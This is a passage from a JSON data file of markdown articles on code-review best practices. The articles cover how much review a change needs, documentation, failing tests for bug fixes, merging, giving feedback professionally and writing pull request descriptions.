    "path": "src/data/best-practices/code-review/content/determine-review-level.md",
    "content": "# Determine the Level of Review Needed\n\nDetermining the appropriate level of review needed based on the scope and impact of the code change is crucial to ensure a smooth and efficient code review process. This aspect is particularly important as it helps allocate resources and time effectively while still maintaining the quality and stability of the developed software. \n\nTo make sure you determine the accurate level of review needed, consider the following tips: \n\n- Analyze the scope of the change: Large-scale modifications, especially those that touch multiple parts of the system, require a more thorough review compared to small, localized changes.\n\n- Identify potential risks: Assess the code's impact on the overall system's stability and security. Critical changes affecting security or the application's core components necessitate a detailed review.\n\n- Reflect on the developer's experience: If the code has been submitted by a less experienced developer, a deeper review is generally recommended. Conversely, trust the expertise of seasoned developers and focus primarily on their adherence to best practices.\n\n- Evaluate test coverage: A well-tested code provides you with greater confidence in its reliability. This can lead to a lighter review since the test suite has already verified its correctness.\n\n- Check the urgency of the change: Urgent fixes such as fixing a severe bug might warrant a quicker review, while lower priority changes can be handled with a more comprehensive analysis.\n\nRemember, finding the right balance in the review process ensures that time and resources are used effectively while maintaining the quality of your codebase."
  },
  {
    "path": "src/data/best-practices/code-review/content/document-new-feature.md",
    "content": "# Documentation\n\nIt is important to keep your project's documentation up-to-date with every new feature or modifications made in your codebase. Comprehensive and well-maintained documentation plays a crucial role in the overall code review process, as it provides a clear understanding of the changes, their purpose, and their potential impact. This helps reviewers to efficiently assess the quality and relevance of your work. As the author of this guide, let me share some tips on how to ensure proper documentation during code review:\n\n- Identify the need for documentation updates: Whenever you make changes or add new features to your codebase, assess their significance and the need for documentation updates.\n\n- Be concise and descriptive: When writing documentation, provide essential information about the feature or changes while highlighting the benefits, use cases, and any potential caveats.\n\n- Focus on clarity and simplicity: Use clear and straightforward language to communicate the ideas effectively, and avoid jargon or complex phrases that may confuse readers.\n\n- Update relevant sections: Ensure you update all pertinent sections of the documentation, such as user guides, API references, and developer notes.\n\n- Include in-code comments: Add meaningful comments and explanations within your code to give context about the purpose and functionality of specific blocks or sections.\n\n- Encourage review and feedback: During the code review process, ask your peers to provide feedback specifically on the documentation updates, ensuring they're accurately reflecting the changes and additions.\n\n- Maintain proper versioning: If your project utilizes versioning, make sure to document and update the corresponding versions affected by the changes.\n\nFollowing these tips will aid in crafting thorough and accurate documentation, making the code review process more efficient and ensuring your team is well-informed about your project's latest advancements."
  },
  {
    "path": "src/data/best-practices/code-review/content/document-process.md",
    "content": "# Document Code Review Process\n\nDocumenting and standardizing the code review process is a vital aspect of software development, as it ensures consistency, maintainability, and readability throughout your codebase. By establishing a well-documented and standardized process, your team will have clear expectations and guidelines to follow during code reviews, leading to better collaboration and faster development cycles. To ensure that your code review process is properly documented and standardized, consider the following tips:\n\n- Create a central document outlining the code review process, its objectives, and its benefits. Make this easily accessible to all team members.\n- Define and communicate the roles and responsibilities of code reviewers and authors.\n- Establish a clear set of criteria for successful code reviews. These criteria can include code style guideline adherence, maintainability, performance, and security considerations.\n- Encourage the use of checklists and templates to streamline the review process and maintain consistency.\n- Schedule regular training sessions and workshops to reinforce best practices, discuss the latest industry trends, and share personal experiences related to code reviews.\n- Continuously review and update the code review process to adapt to your team's evolving needs and to keep it aligned with current industry standards."
  },
  {
    "path": "src/data/best-practices/code-review/content/encourage-participation.md",
    "content": "# Encourage Participation\n\nEncouraging team members to participate in code reviews is an essential best practice to ensure the delivery of high-quality software. Code reviews provide a platform for developers to learn from each other, share knowledge, and collaboratively improve their codebase. By fostering a culture of active involvement in code reviews, you can enhance the team's overall skill set, catch potential issues before they escalate, and ultimately, build a stronger and more cohesive development team. Here are some valuable tips on how you can make sure your team actively participates in code reviews:\n\n- Create a welcoming environment: Make it clear that every member's opinion and contribution is valued. Encourage input from everyone, even if they may not have extensive experience.\n\n- Allocate time for code reviews: Ensure that participating in code reviews is not viewed as a burden, but rather a crucial part of the development process. Set aside designated time for these activities.\n\n- Provide training and guidance: Offer resources to help team members develop their code review skills. This could include sharing articles and materials or conducting workshops on effective code review techniques.\n\n- Encourage cross-functional reviews: Allow team members from different domains and expertise to participate in reviews. This helps in providing diverse perspectives and can uncover issues that were not initially apparent.\n\n- Establish clear objectives and focus: Clearly communicate the goals and expectations for each code review. This ensures team members understand their role and are focused on delivering constructive feedback.\n\n- Use tools and automation: Leverage code review tools that facilitate the process, such as GitHub's \"pull request\" feature or online collaborative code editors.\n\nBy following these guidelines and nurturing an open and inclusive culture around code reviews, you can maximize the benefits that these practices bring to your development team and the quality of your software."
  },
  {
    "path": "src/data/best-practices/code-review/content/failing-text-bug.md",
    "content": "# Failing Test for a Bug Fix\n\nA failing test is a valuable addition to the development process, as it ensures that developers can identify the root cause of the issue and verify that their changes effectively resolve the problem. This practice not only helps in improving code quality but also aids in avoiding regression in the future. To ensure you follow this best practice, below are some tips on how you can write a failing test for a bug fix:\n\n- Understand the bug: Analyze the issue report and, if possible, reproduce the bug locally to gain a clear understanding of the problem at hand.\n\n- Write a test case: Create a test case that simulates the conditions under which the bug occurs, and make sure the test fails initially due to the presence of the bug.\n\n- Implement the bug fix: Write the necessary code changes to resolve the bug while keeping the test case in mind.\n\n- Verify the fix: Once the fix is implemented, run the test case again to ensure that the test case now passes, validating that the bug has been effectively resolved.\n\n- Run other tests: Execute any additional test cases and perform a thorough code review to ensure that the bug fix does not create new issues or regressions in other parts of the codebase.\n\nBy adhering to this practice, you can confidently make changes to your codebase with the assurance that your bug fixes are effective, and your code remains reliable and robust."
  },
  {
    "path": "src/data/best-practices/code-review/content/follow-guidelines.md",
    "content": "# Follow Guidelines\n\nIn software development, following the coding standards and any other team guidelines is a crucial aspect of maintaining a consistent and highly readable codebase. Establishing a level of uniformity in your code allows your teammates to easily understand your work and minimize miscommunications during the code review process. To ensure you adhere to this best practice, consider the following tips:\n\n- Familiarize yourself with your team's coding standards and guidelines: These standards may include rules for naming conventions, file structures, indentation, and comment styles. Make sure you understand the rationale behind these rules and adhere to them consistently.\n\n- Use a linter or a code formatter: Tools like linters and formatters analyze your code and automatically flag or fix violations of the coding standards. They help to catch issues early and maintain consistency in your code.\n\n- Peer review: Encourage your colleagues to review your code, even outside of the official code review process. This can help identify areas where you may not be following the standards, and it promotes a strong team culture of mutual learning and improvement.\n\n- Continuous learning: Update your knowledge on current best practices in programming and actively work on improving your skills. This will enable you to make better decisions about which coding standards to follow, and contribute to the evolution of your team's guidelines.\n\nBy embracing these practices, you help create a robust, maintainable, and efficient codebase and foster a positive and productive team environment."
  },
  {
    "path": "src/data/best-practices/code-review/content/impact-of-change.md",
    "content": "# Impact of Change\n\nIn software development, it's crucial to consider the impact that any proposed changes to the code might have on other parts of the system. Modifications in one area might inadvertently affect the behavior of seemingly unrelated components, leading to unexpected issues and bugs. As the code reviewer, it is your responsibility to be mindful of potential side effects and to ensure that the proposed changes promote stability and maintainability. In this section, we will discuss strategies you can employ to evaluate the impact of changes on the overall system and offer tips to help you confirm that any modifications will not introduce new problems or conflicts. Remember, the goal is to improve the codebase and maintain the integrity of the system as a whole."
  },
  {
    "path": "src/data/best-practices/code-review/content/implement-changes-explanations.md",
    "content": "# Implement or Explain\n\nIn the code review process, it is crucial to not only accept feedback but also to implement the suggested changes and provide clear explanations when needed. It demonstrates your willingness to collaborate and your commitment to enhance the quality of your code. In this section, we will discuss the importance of implementing these suggestions and provide tips on how to effectively communicate any additional context or reasons behind your approach.\n\nTips to ensure this:\n\n- Be open to feedback and be willing to accept constructive criticism that will improve your code.\n\n- Take the time to thoroughly understand the suggested changes, and do not hesitate to ask for clarifications if necessary.\n\n- When incorporating the changes, ensure your code remains consistent in structure and style, and adhere to the set guidelines.\n\n- If you believe that certain suggestions are not appropriate, provide a clear and concise explanation, supported by technical or logical reasoning, to justify your decision.\n\n- If you have made any updates that require further clarification, add comments to your code or respond to reviewers' comments to make your intention clear.\n\nBy emphasizing continuous improvement and effective communication, you will be able to create a positive code review process that benefits both you and your team members."
  },
  {
    "path": "src/data/best-practices/code-review/content/index.md",
    "content": "# "
  },
  {
    "path": "src/data/best-practices/code-review/content/knowledge-sharing.md",
    "content": "# Knowledge Sharing\n\nCode reviews are not just about ensuring high-quality code, they are also a platform for knowledge sharing, learning, and personal development within your development team. An effective code review process encourages the collective growth of team members by providing them with constructive feedback, alternative solutions, and best practices. In this section, we will discuss some key tips on how to use code reviews as an opportunity for knowledge sharing and learning.\n\n- Encourage open discussion and questions: Create a safe environment where team members feel comfortable asking questions and engaging in discussions about the code, design patterns, or best practices.\n\n- Share best practices, techniques, and tools: Team members may have undiscovered methods, techniques, or tools that can help others; code review can be an opportunity to share and discuss these.\n\n- Provide clear, actionable feedback: Offer specific suggestions for improvement and consider using examples to demonstrate a point. A well-defined concern or proposal can help grow the author's knowledge and challenge their assumptions.\n\n- Promote mentorship and cross-training: Encourage experienced team members to provide guidance and support to those with less experience. This not only helps transfer knowledge but also enhances understanding across the team.\n\n- Encourage empathy and collaboration: Consider each team member's perspective and unique strengths when discussing improvements. Foster an environment where everyone can contribute to and learn from the review process, which ultimately leads to shared growth and mutual success."
  },
  {
    "path": "src/data/best-practices/code-review/content/learn-context-reqs.md",
    "content": "# Understand the Requirements and Context\n\nIn the software development process, understanding the requirements and the context of the changes being made is crucial for successful code reviews. Being aware of these aspects ensures that the reviewer can effectively evaluate how well the proposed changes meet the requirements and align with the software's overall design and purpose. It also helps in identifying potential issues and improvements that may have been overlooked. To make sure you understand the requirements and the context, consider the following tips:\n\n- Analyze the related documentation: Review any relevant documents, such as requirement specifications or design documents, to understand the motivation behind the changes and the desired outcome.\n\n- Communicate with the author: Don't hesitate to ask the code contributor questions or clarifications about the requirements and context, as it can help in building a mutual understanding of the changes.\n\n- Study the issue tracker: Explore the issue tracker, if available, to get further context on the problem being addressed or the feature being implemented. This can help you understand how the proposed changes relate to the overall development goals and priorities.\n\n- Familiarize yourself with the surrounding code: Take time to study the existing code around the changes being made, as this can provide valuable insights into the program's architecture and design philosophy.\n\n- Consider system-wide implications: Keep in mind the broader context of how the changes might affect the system as a whole, including potential interactions with other components, performance impacts, and maintainability considerations."
  },
  {
    "path": "src/data/best-practices/code-review/content/list-review-risks-issues.md",
    "content": "# Identify Potential Risks or Issues\n\nIn the code review process, it is essential to identify potential risks or issues that could emerge due to the changes in the code. Being proactive in detecting these possibilities can save time and effort, and prevent future problems. As the author of this guide, I would like to emphasize the importance of making a list of all possible risks or issues during a code review.\n\nTo effectively analyze potential risks, consider these tips:\n\n- Thoroughly review the code to understand the purpose of the change.\n- Compare the proposed changes with the existing codebase to identify potential conflicts or inconsistencies.\n- Evaluate the impact of the proposed changes on other parts of the codebase or the overall system.\n- Keep an eye out for any security risks that could arise due to the changes, such as unauthorized access or data leaks.\n- Assess the code quality and the adherence to the project's coding standards to ensure maintainability and readability.\n- Test the changes to identify unknown risks that might only surface during execution.\n- Communicate and collaborate with the developer to discuss any concerns and work together to find solutions.\n\nBy following these steps, you will be well-prepared to identify and mitigate potential risks or issues that may emerge due to the code changes, ensuring a more robust and reliable solution."
  },
  {
    "path": "src/data/best-practices/code-review/content/merge-approved-code.md",
    "content": "# Merge Approved Changes\n\nIn the code review process, one essential step is merging the approved code change into the main or feature branch. This involves integrating the changes made on a separate branch or fork, which were reviewed and approved by your peers, into a single unified branch. This step not only helps maintain the stability of the codebase but also ensures a seamless collaboration amongst team members. To guarantee the success of this phase, follow the tips below:\n\n- Always perform a test run: Before you merge, ensure that the tests pass locally and in the CI system to prevent broken builds or unexpected failures.\n- Keep the main branch stable: Update your branch with the latest changes from the main branch before merging, to avoid conflicts or inconsistencies.\n- Utilize Pull Requests/Merge Requests: Use collaborative features like Pull Requests in GitHub, GitLab or Bitbucket to track peer reviews, comments and approvals.\n- Embrace rebasing: With rebasing, you can keep your Git history cleaner and linear, avoiding unnecessary merge commits.\n- Opt for a code review tool: Make use of code review tools like Gerrit or Phabricator to manage and track the review process in a structured way.\n- Merge fast, merge often: Encourage smaller changes and frequent merges to avoid stagnation and complex conflict resolution.\n\nBy following these tips, you'll be able to streamline your codebase, enhance collaboration, and uphold the overall quality of your software project."
  },
  {
    "path": "src/data/best-practices/code-review/content/monitor-performance.md",
    "content": "# Monitor Performance\n\nMonitoring the performance and functionality of code changes is a crucial aspect of the code review process that ensures the seamless integration of new modifications without compromising on the overall system's efficiency. As an integral part of quality assurance, this practice helps to identify and address potential issues early on, minimizing the risk of disruptive performance problems down the line.\n\nHere are some tips to help you monitor the performance of code changes:\n\n- Conduct thorough testing: Perform rigorous testing, including unit tests, integration tests, and performance tests, to ensure the functionality and examine how the new code impacts the system's performance, covering different scenarios and use cases.\n- Use profiling tools: Utilize monitoring and profiling tools to gauge the performance of the code changes and identify any slowdowns, bottlenecks, or resource usage problems.\n- Monitor logs and analytics: Keep an eye on logs and analytics for any unusual activity or errors, which could indicate issues introduced by the new code changes.\n- Set performance benchmarks/targets: Establish predetermined benchmarks for performance measures, such as response time or resource usage, to simplify the process of identifying code changes that have negatively impacted the system.\n- Follow up during and after deployment: Periodically review the code changes and their impact, especially during and after the deployment phase. This will help to optimize performance, as well as maintain the quality and stability of the overall system.\n- Foster open communication: Encourage open communication among team members to quickly address concerns, share insights, and collaborate on solutions to performance-related issues."
  },
  {
    "path": "src/data/best-practices/code-review/content/monitor-reviews.md",
    "content": "# Monitor and Improve Code Reviews\n\nBy continually evaluating and refining the process, you ensure that all team members are on board with the best practices and are benefiting from each other's expertise. This leads to more efficient collaboration, faster development cycles, and better code quality. To ensure you are constantly monitoring and improving your code review process, consider the following tips:\n\n- Set clear expectations and guidelines for conducting code reviews, taking into account your project requirements and team members' expertise.\n\n- Regularly gather feedback from team members about what is working well and where improvements can be made. Create an open and trusting environment where constructive criticism and suggestions are welcomed.\n\n- Track the effectiveness of the code review process through metrics, such as the number of issues raised, resolved, and reopened during the review process. Use these data points to identify patterns and areas for improvement.\n\n- Provide training and resources to help team members develop their code review skills, share best practices, and stay informed on industry standards and trends.\n\n- Review and update the guidelines and best practices regularly to adapt to changes in technologies, team dynamics, and project requirements. Periodically evaluate whether the current code review process still matches your project's growing needs and make necessary adjustments."
  },
  {
    "path": "src/data/best-practices/code-review/content/nitpick-comments.md",
    "content": "# Nitpick Comments\n\nI highly recommend leaving comments to suggest improvements, as this helps ensure high quality and maintainable code. However, it is important to differentiate between critical revisions and those elements that have room for improvement but can be considered as \"nice to have.\" To indicate these less critical suggestions, we use the prefix \"Nit.\" They convey that your suggestion is a minor point and helps the developer understand the reviewer's perspective on the importance of the suggestion. This allows them to prioritize their revisions effectively. Here are some tips to keep in mind:\n\n- When leaving a comment or suggestion, consider whether it is critical to meeting the coding standards or offering a significant improvement to the code. If not, prefix your comment with \"Nit.\"\n\n- Encourage a balanced approach to comments, where you highlight both critical and non-critical suggestions. This allows the developer to address important aspects, while being aware of opportunities for improvement.\n\n- When reviewing code, always ensure you give positive feedback as well. This points out what the developer is doing right, and offers motivation to continue doing great work.\n\n- In your comments, be specific and clear about what needs improvement, keeping in mind that the developer may not have the same context as you. This will facilitate productive discussions and faster decision-making.\n\nBy following this practice, you create a healthy environment for code review that fosters open communication, learning, and improvement while making sure that critical standards are met."
  },
  {
    "path": "src/data/best-practices/code-review/content/no-one-way-process.md",
    "content": "# Communication and Collaboration\n\nCode reviews should not be treated as a one-way process where a reviewer simply lists out the issues to be fixed. Instead, they should serve as an opportunity to engage in meaningful discussions, share knowledge, and work collectively towards improving code quality. This approach helps establish a positive environment for code review and fosters stronger relationships within the development team. Here are some tips to ensure effective communication and collaboration during code review:\n\n- Maintain a respectful and constructive tone while providing feedback.\n- Frame suggestions as questions or recommendations rather than demands.\n- Encourage reviewers to explain their reasoning behind their suggestions and authors to clarify their intentions.\n- Emphasize learning and knowledge sharing, rather than just identifying errors.\n- Create an environment where authors feel comfortable initiating discussions around their code decisions.\n- Make sure that each participant is open and receptive to the perspectives of others.\n- Schedule synchronous reviews, when possible, to encourage real-time collaboration and communication.\n- Utilize tools and platforms that promote seamless collaboration and discussions.\n\nFollowing these tips will help ensure a collaborative and productive code review environment, ultimately leading to higher-quality software and a more cohesive development team."
  },
  {
    "path": "src/data/best-practices/code-review/content/note-questions-for-review.md",
    "content": "# Note Questions for Review\n\nTaking notes on any questions or concerns about the change during a code review is essential for increasing efficiency and enabling better communication among team members. This practice allows you to be prepared with a clear list of points to discuss during the review meeting. In this section of the guide, we will outline various tips to help you make the most of this best practice in your code review process, such as setting aside time for note-taking, organizing your notes in a clear and logical manner, and using specific examples to illustrate your concerns. By following these tips, you will enhance the effectiveness of your code reviews and foster better collaboration within your team."
  },
  {
    "path": "src/data/best-practices/code-review/content/open-mind-author.md",
    "content": "# Open Mind as an Author\n\nIn the software development world, code reviews are an essential component of a successful and productive team. They provide valuable insights to improve code quality, encourage collaboration, and foster a learning environment. It is vital to approach the review process with an open mind and be willing to learn from and collaborate with other team members. This not only helps you grow as a developer but also contributes to building a positive work atmosphere. In this section, we will discuss some useful tips on maintaining an open-minded attitude during code reviews and ensuring effective collaboration within the team.\n\n- Understand that everyone has unique perspectives and strengths: Recognize that your team members may have different areas of expertise and can offer valuable insights.\n\n- Embrace constructive criticism: Do not take negative feedback personally. Instead, view it as an opportunity to improve and learn.\n\n- Be patient and polite: Give your colleagues the space and time to express their thoughts, ask questions, and provide feedback.\n\n- Ask for clarifications: If you're unsure about a suggestion or comment, ask the reviewer to explain their rationale, instead of making assumptions or getting defensive.\n\n- Share your knowledge: If you notice room for improvement in someone else's code, share your knowledge without making the person feel inferior.\n\n- Be willing to change your approach: If a colleague suggests an alternative solution, consider it seriously and weigh the pros and cons.\n\n- Learn from the experience: Reflect on each code review, considering the comments and suggestions made. Incorporate the lessons learned in future projects.\n\nBy embracing an open-minded and collaborative approach during code reviews, you will not only contribute to a positive work environment but also become a better developer as the team's collective wisdom helps drive continuous improvement."
  },
  {
    "path": "src/data/best-practices/code-review/content/open-mind-reviewer.md",
    "content": "# Open Mind Reviewer\n\nIn the code review process, it's essential to approach each session with an open mind, with the intention of providing constructive feedback and collaborating with others to improve the overall quality of the code. This mindset helps create a positive environment where team members can learn from each other, share ideas, and develop better coding practices. Remember that everyone's ultimate goal is to build a robust and efficient product together. To ensure you are effectively contributing to this process, consider the following tips: \n\n- Be respectful: Treat your fellow developers with respect, and always assume they have done their best in the given circumstances. \n- Focus on the code, not the person: Concentrate on providing feedback for the code and avoid making personal remarks or assumptions about the author. \n- Be patient: Understand that not everyone might have the same level of knowledge or experience as you, and be prepared to explain your suggestions in detail if necessary. \n- Be receptive: Be open to suggestions from others and acknowledge when someone proposes a better solution. Incorporate their feedback in future code reviews or your own work to improve your skills. \n- Foster a collaborative environment: Encourage open discussions and ask questions if something is unclear. Share your own experiences, challenges, and solutions to promote learning and growth within the team."
  },
  {
    "path": "src/data/best-practices/code-review/content/pair-programming-reviews.md",
    "content": "# Pair Programming Reviews\n\nWhen there are a lot of changes to review, it can be difficult to keep track of everything. Pair programming is a great way to ensure that all changes are reviewed and discussed in detail. It also helps to foster collaboration and knowledge sharing between developers. In this section, we will discuss the benefits of pair programming and provide tips on how to make the most of this technique.\n\nPair programming is an agile software development technique in which two developers work together at the same computer. One developer writes the code while the other reviews each line of code as it's written, providing immediate feedback to catch issues early on. This technique can be used as an alternative or supplement to traditional code reviews. Pair programming helps to ensure code quality, reduce defects, and foster knowledge sharing between developers. To make the most of pair programming, consider the following tips: \n\n- Choose partners with complementary skills, so that both participants can learn from each other.\n- Set clear expectations about the goals and outcomes of the pair programming session.\n- Take regular breaks and swap roles between writing and reviewing code to keep both developers engaged.\n- Foster open communication; encourage questions, suggestions, and discussions.\n- Regularly reflect on the process and adjust as needed to ensure it remains effective and productive for both developers."
  },
  {
    "path": "src/data/best-practices/code-review/content/positive-feedback-criticism.md",
    "content": "# Positive Feedback and Criticism\n\nIn any code review process, providing positive feedback alongside constructive criticism is essential for creating a healthy and collaborative work environment. Recognizing and reinforcing good practices not only boosts team morale, but also encourages the development of robust and maintainable code. As an integral part of the code review process, it is crucial to balance our feedback to avoid discouraging developers and to promote their growth. In this guide, we will discuss some tips to ensure that you provide positive feedback effectively during code reviews.\n\n- Highlight well-written code segments, efficient solutions, or adherence to coding standards, and express appreciation for these efforts.\n- Be specific with your positive feedback, and explain clearly what you liked about that particular piece of code.\n- Encourage developers to share their thought processes or challenges they overcame during the code implementation, which can foster team learning and make the developers feel valued.\n- Regularly acknowledge team members' hard work and dedication to creating high-quality code. This recognition can foster motivation and dedication.\n- When offering constructive criticism, do so in a respectful and supportive manner, framing it as an opportunity for growth and learning.\n\nBy incorporating these tips into your code review process, you can create a more productive and positive experience for the entire team while fostering continuous improvement and collaboration."
  },
  {
    "path": "src/data/best-practices/code-review/content/potential-issues-review.md",
    "content": "# Potential Issues\n\nBeing proactive about potential performance, security and scalability issues can save significant time and effort, as well as ensure that your code is optimized for growth and adaptability. To make sure that you are addressing these concerns during the review, consider the following tips: analyze the complexity of any algorithms used, ensure proper memory management, validate user inputs, and plan for future enhancements. By keeping these factors in mind, you can effectively contribute to building a stable and efficient software solution."
  },
  {
    "path": "src/data/best-practices/code-review/content/potential-issues-reviewer.md",
    "content": "# Potential Issues\n\nCode reviews are a crucial part of ensuring the quality, maintainability, and efficiency of software. One particularly important aspect of a code review is identifying potential performance, security, and scalability concerns. This involves examining the submitted code for any areas where it may not perform well, exhibit vulnerabilities, or have difficulty handling increased usage. As a code reviewer, it is your responsibility to discuss these concerns with the author and offer suggestions for improvement. This ensures the final product is not only functionally correct but also delivers a robust and stable experience for its users. In this section, we will provide some tips on how to effectively evaluate code for performance, security, and scalability during a review, and how to address any issues that arise."
  },
  {
    "path": "src/data/best-practices/code-review/content/prepare-list.md",
    "content": "# Prepare a List\n\nIn a code review process, it's essential to ensure that all the requirements or user stories for a specific feature or bug fix have been adequately addressed in the code changes submitted for review. To achieve this, preparing a checklist of items or requirements to be covered in the changes can help streamline the review process and ensure that nothing is missed. This not only improves the overall quality of the code but also saves time and effort in potential rework. In this section, we will go over some tips on how to create a list of items that should have been covered in the changes and ensure that the code complies with them.\n\n- Familiarize yourself with the requirements: Thoroughly analyze the project's requirements documentation or user stories and identify the key components that need to be addressed in the code changes.\n\n- Create a checklist: Based on the requirements, create a comprehensive checklist of items that must be covered in the code changes. Break complex requirements down into smaller tasks to ensure every aspect is addressed.\n\n- Evaluate the code changes: As you review the code, cross-check with your checklist to ensure that each item has been taken into account. If anything is missing or not up to the mark, provide specific feedback in the review comments.\n\n- Assess test coverage: Make sure that the code changes are supported by appropriate unit or integration tests, which cover the main requirements in the checklist. High-quality tests are crucial to prevent future regressions and ensure the code fulfills its intended purpose.\n\n- Ensure clear communication: Share your requirements checklist with the developer at the start of the code review process. This will help them understand your expectations and provide a solid foundation for a smooth and constructive review.\n\nBy creating and utilizing a requirements checklist, code reviewers can more effectively ensure that the submitted code changes adhere to the project's requirements and ultimately result in higher-quality software."
  },
  {
    "path": "src/data/best-practices/code-review/content/prioritize-feedback.md",
    "content": "# Prioritize Feedback\n\nTackling the most important issues first ensures that the developer's time is well-spent in addressing high-impact concerns, resulting in a higher quality product with fewer critical issues. As the author of this guide, I would like to share some practical tips to ensure that you prioritize your feedback effectively:\n\n- Clearly define the goals and objectives of the code review process, so you can align your feedback with those priorities.\n- Categorize your observations into 'high', 'medium', and 'low' priority, based on the impact they have on the code's performance, security, and maintainability.\n- Understand the context of the code changes and the corresponding requirements, to ensure you're addressing the most relevant issues first.\n- Focus on identifying and resolving design issues, performance bottlenecks, and potential security vulnerabilities before diving into stylistic or formatting concerns.\n- Discuss priorities with the team and get a consensus on the order in which issues should be addressed, to ensure that everyone's input is considered in shaping the priorities.\n\nBy paying close attention to these tips, you can ensure that your code review feedback is consistently aligned with the highest-priority concerns, maximizing the value of the code review process for both yourself and your teammates."
  },
  {
    "path": "src/data/best-practices/code-review/content/professional-feedback.md",
    "content": "# Be Professional\n\nWhen engaged in reviewing your peers' work, it's crucial to approach each comment and suggestion with tact and empathy, ensuring that your communication remains constructive and free from personal attacks or derogatory remarks. To make sure you abide by this best practice and foster a positive team dynamic, here are some tips to guide your feedback approach:\n\n- Focus on the code, not the person: Address the code changes and avoid directing comments towards the individual who submitted the code.\n\n- Use neutral language: Keep your language objective and non-inflammatory, steering clear of words or phrases that may be perceived as aggressive, dismissive, or condescending.\n\n- Be specific and clear: Offer feedback that is direct and actionable, outlining any areas of concern or suggested improvements with clarity and detail.\n\n- Be open to questions and discussion: Encourage open dialogue by inviting questions or alternative viewpoints, demonstrating a willingness to listen and learn from others.\n\n- Offer praise alongside critiques: Celebrate the successes of your team members, acknowledging their hard work and achievements as you address any issues or opportunities for growth.\n\n- Remember the human element: Keep in mind that there's a person behind every code submission - remain empathetic, respectful, and patient throughout the code review process."
  },
  {
    "path": "src/data/best-practices/code-review/content/proper-description-pr.md",
    "content": "# About Pull Requests\n\nProviding a proper title, description, screenshots, relevant links, and configuration changes helps reviewers quickly grasp the purpose, functionality, and any other important context associated with the changes introduced by the PR. To ensure the quality and effectiveness of your PR documentation, follow these helpful tips:\n\n- **Title**: Choose a clear and concise title, summarizing the main purpose or functionality added by the changes.\n\n- **Description**: Write a thorough description of what your changes do, how they work, and any potential side effects or limitations. Make sure to include information about the problem you are solving or the feature you are implementing.\n\n- **Screenshots**: If your changes involve visual elements or affect the user interface, include screenshots to give reviewers a better understanding of the visual impact.\n\n- **Relevant Links**: Provide any relevant links, such as issue trackers, feature requests, or design documents, to aid reviewers in understanding the context of your work.\n\n- **Configuration Changes**: Mention any changes in configuration settings or introduce any new settings that are required to run or test your code. Explain how these settings should be used and what their default values should be.\n\nBy following these tips, you can streamline the code review process, making it easier for your peers to understand and evaluate your work while minimizing potential confusion or miscommunication."
  },
  {
    "path": "src/data/best-practices/code-review/content/quality-code-overall.md",
    "content": "# Quality of Code\n\nAs a code reviewer, your role is not limited to just identifying bugs and potential errors. You must also assess whether the code is easy to understand, modify, and adapt to various scenarios. To ensure that you cover all aspects of this crucial evaluation, here are some tips to help you examine code quality:\n\n- Readability: Check if the code uses meaningful variable and function names, proper indentation, and clear comments. Make sure it follows the established coding conventions of its programming language.\n\n- Maintainability: Look for code duplication, overly complex logic, or tightly-coupled modules that make the code difficult to modify or extend. Encourage the use of modular, reusable components and adherence to the DRY (Don't Repeat Yourself) principle.\n\n- Scalability: Evaluate if the code can handle increasing workloads, users, or data sizes without significant performance degradation. Identify bottlenecks or resource-heavy operations, and suggest optimizations or alternative solutions when appropriate.\n\nBy emphasizing these three aspects during code review, you will promote a culture of high-quality code that is easy to collaborate on and adapt for future requirements."
  },
  {
    "path": "src/data/best-practices/code-review/content/re-run-tests-verify.md",
    "content": "# Verify that all tests pass\n\nIn the code review process, it is essential to ensure that all tests pass before merging changes into the main codebase. This practice, often referred to as \"run the tests again and ensure they all pass,\" is vital for maintaining the stability, reliability, and quality of your software. By running tests after making changes or approving code, you can catch potential issues that may have been introduced during the development process. Below are some tips to help you verify that all tests pass effectively:\n\n- Keep your test suite up-to-date: As new features are added or existing ones modified, it's crucial to update your test suite to cover the changes.\n\n- Implement Continuous Integration (CI): Integrate tools in your development pipeline that automatically run tests when changes are made to the codebase, thereby reducing manual intervention.\n\n- Use pre-commit hooks: Ensure you run the test suite before any new commits occur. Pre-commit hooks can be set up to trigger tests automatically before a commit is made.\n\n- Communicate with the team: In case the tests fail, promptly inform the involved developer to address the issue. Encourage collaboration for quicker resolution.\n\n- Review the tests themselves: Make sure the tests are well-written, adequately cover your code, and are not overly complex. A good balance of unit, integration, and end-to-end tests can contribute to a more resilient codebase.\n\nBy following these best practices, you'll be better equipped to ensure that all tests pass and maintain a high-quality, robust software product."
  },
  {
    "path": "src/data/best-practices/code-review/content/recognition-rewards.md",
    "content": "# Recognition and Rewards\n\nRecognizing and rewarding individuals who consistently provide quality feedback during code reviews is a vital aspect of nurturing a healthy and efficient software development environment. When team members feel appreciated for their valuable input, they are more likely to take code reviews seriously and continue contributing to improve the codebase. In this section, we will discuss various techniques and approaches to ensure that those who consistently offer high-quality feedback are duly acknowledged and rewarded for their efforts. This recognition not only fosters a culture of collaboration but also motivates others to raise the bar on the caliber of their input during code reviews."
  },
  {
    "path": "src/data/best-practices/code-review/content/resolve-conflicts-timely.md",
    "content": "# Resolve Conflicts Timely\n\nWhen working on collaborative projects, conflicting opinions on various aspects of the code are unavoidable. It's crucial to resolve these differences in a timely manner to keep the development process moving forward smoothly; allowing a pull request (PR) to sit idle due to disagreement can cause unnecessary delays and foster resentment among team members. To ensure conflicting opinions are addressed promptly and constructively, consider the following tips:\n\n- Foster Open Communication: Encourage team members to share their thoughts and opinions openly, while maintaining a respectful and supportive environment.\n\n- Clearly Define the Criteria for Code Review: Having clear guidelines for what is expected in a code review can reduce the number of subjective opinions and help focus the discussion on relevant aspects.\n\n- Assign a Mediator or Decision-Maker: When conflicting opinions arise, designate a trusted individual to act as a mediator, or authorize them to make a final decision after considering all viewpoints.\n\n- Strive for Consensus: Encourage team members to actively seek consensus, emphasizing the importance of compromise and collaboration.\n\n- Set Deadlines: Establish a reasonable timeframe for addressing disagreements and ensuring a timely resolution.\n\nRemember, the goal of code reviews is to improve code quality and foster a positive, collaborative work environment. By addressing conflicting opinions promptly and thoughtfully, you pave the way for more efficient, effective, and harmonious development processes."
  },
  {
    "path": "src/data/best-practices/code-review/content/review-docs-design.md",
